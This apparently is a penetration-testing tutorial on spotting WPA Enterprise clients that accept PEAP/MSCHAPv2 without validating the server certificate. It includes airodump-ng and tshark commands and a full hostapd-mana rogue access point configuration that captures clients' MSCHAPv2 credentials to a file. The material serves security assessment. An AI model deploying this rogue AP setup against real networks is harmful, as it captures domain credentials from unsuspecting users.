Skip to content
HackIndex logo

HackIndex

Detecting WPA Enterprise PEAP Without Certificate Validation

2 min read Jul 10, 2026

WPA Enterprise with PEAP/MSCHAPv2 is only secure when the client validates the RADIUS server certificate. When certificate validation is disabled or not configured, a rogue AP presenting any certificate — including a self-signed one — will be accepted by the client. The client then sends its MSCHAPv2 credentials inside the TLS tunnel directly to the attacker. This is the standard enterprise wireless attack path and it works regardless of password complexity.

The vulnerability is on the client side and cannot be detected from beacon frames alone. Detection requires observing a client attempt to authenticate and checking whether it completes the exchange despite an invalid certificate.

Confirm the Network Uses WPA Enterprise

Identify MGT authentication from airodump-ng before proceeding:

┌──(kali㉿kali)-[~]
└─$ airodump-ng wlan0mon | grep MGT 
 11:22:33:44:55:66  -55  61  11  195  WPA2  CCMP  MGT  CorpWifi

Identify the EAP Method in Use

Capture traffic on the enterprise AP channel and filter for EAP type negotiation frames:

┌──(kali㉿kali)-[~]
└─$ airodump-ng --bssid 11:22:33:44:55:66 --channel 11 --write corp-capture wlan0mon
┌──(kali㉿kali)-[~]
└─$ tshark -r corp-capture-01.cap -Y "eap" -T fields -e eap.type -e eap.identity 2>/dev/null | sort -u 
1	[email protected]
25	
26

EAP type 25 is PEAP. Type 26 is MSCHAPv2 running inside the PEAP tunnel. This combination is the crackable path. The identity field leaks a valid domain username before the TLS tunnel is established.

If only EAP type 13 (EAP-TLS) appears, the network uses mutual certificate authentication. Without a valid client certificate you cannot harvest credentials through a rogue AP.

Test Certificate Validation with a Rogue AP Probe

The definitive test for whether clients validate certificates is to stand up a rogue AP with a self-signed certificate using hostapd-mana and observe whether clients connect. If a client completes Phase 1 TLS negotiation and proceeds to send MSCHAPv2 credentials, certificate validation is disabled on that client.

Set up a minimal hostapd-mana configuration targeting the enterprise SSID:

┌──(kali㉿kali)-[~]
└─$ cat > /tmp/mana-test.conf << 'EOF'
interface=wlan1
ssid=CorpWifi
hw_mode=g
channel=11
auth_algs=3
wpa=3
wpa_key_mgmt=WPA-EAP
rsn_pairwise=CCMP
ieee8021x=1
eap_server=1
eap_user_file=/etc/hostapd-mana/mana.eap_user
ca_cert=/etc/hostapd-mana/ca.pem
server_cert=/etc/hostapd-mana/server.pem
private_key=/etc/hostapd-mana/server.key
mana_wpe=1
mana_credout=/tmp/mana-creds.txt
EOF
┌──(kali㉿kali)-[~]
└─$ hostapd-mana /tmp/mana-test.conf

If clients connect and MSCHAPv2 credentials appear in /tmp/mana-creds.txt, certificate validation is not enforced. The vulnerability is confirmed. Full credential harvesting and cracking is covered in the exploitation phase.

If no clients connect despite being in range, they may be validating the certificate. This does not rule out the attack entirely — clients with weak certificate pinning may still be vulnerable to a CA-signed certificate from a trusted but compromised authority.

Document the Finding

Record the SSID, BSSID, channel, EAP method identified, any usernames leaked in EAP identity frames, and whether the rogue AP probe resulted in a credential submission. PEAP/MSCHAPv2 with unvalidated certificates is a critical finding — it allows recovery of Active Directory credentials from any device that connects within range of the rogue AP.

References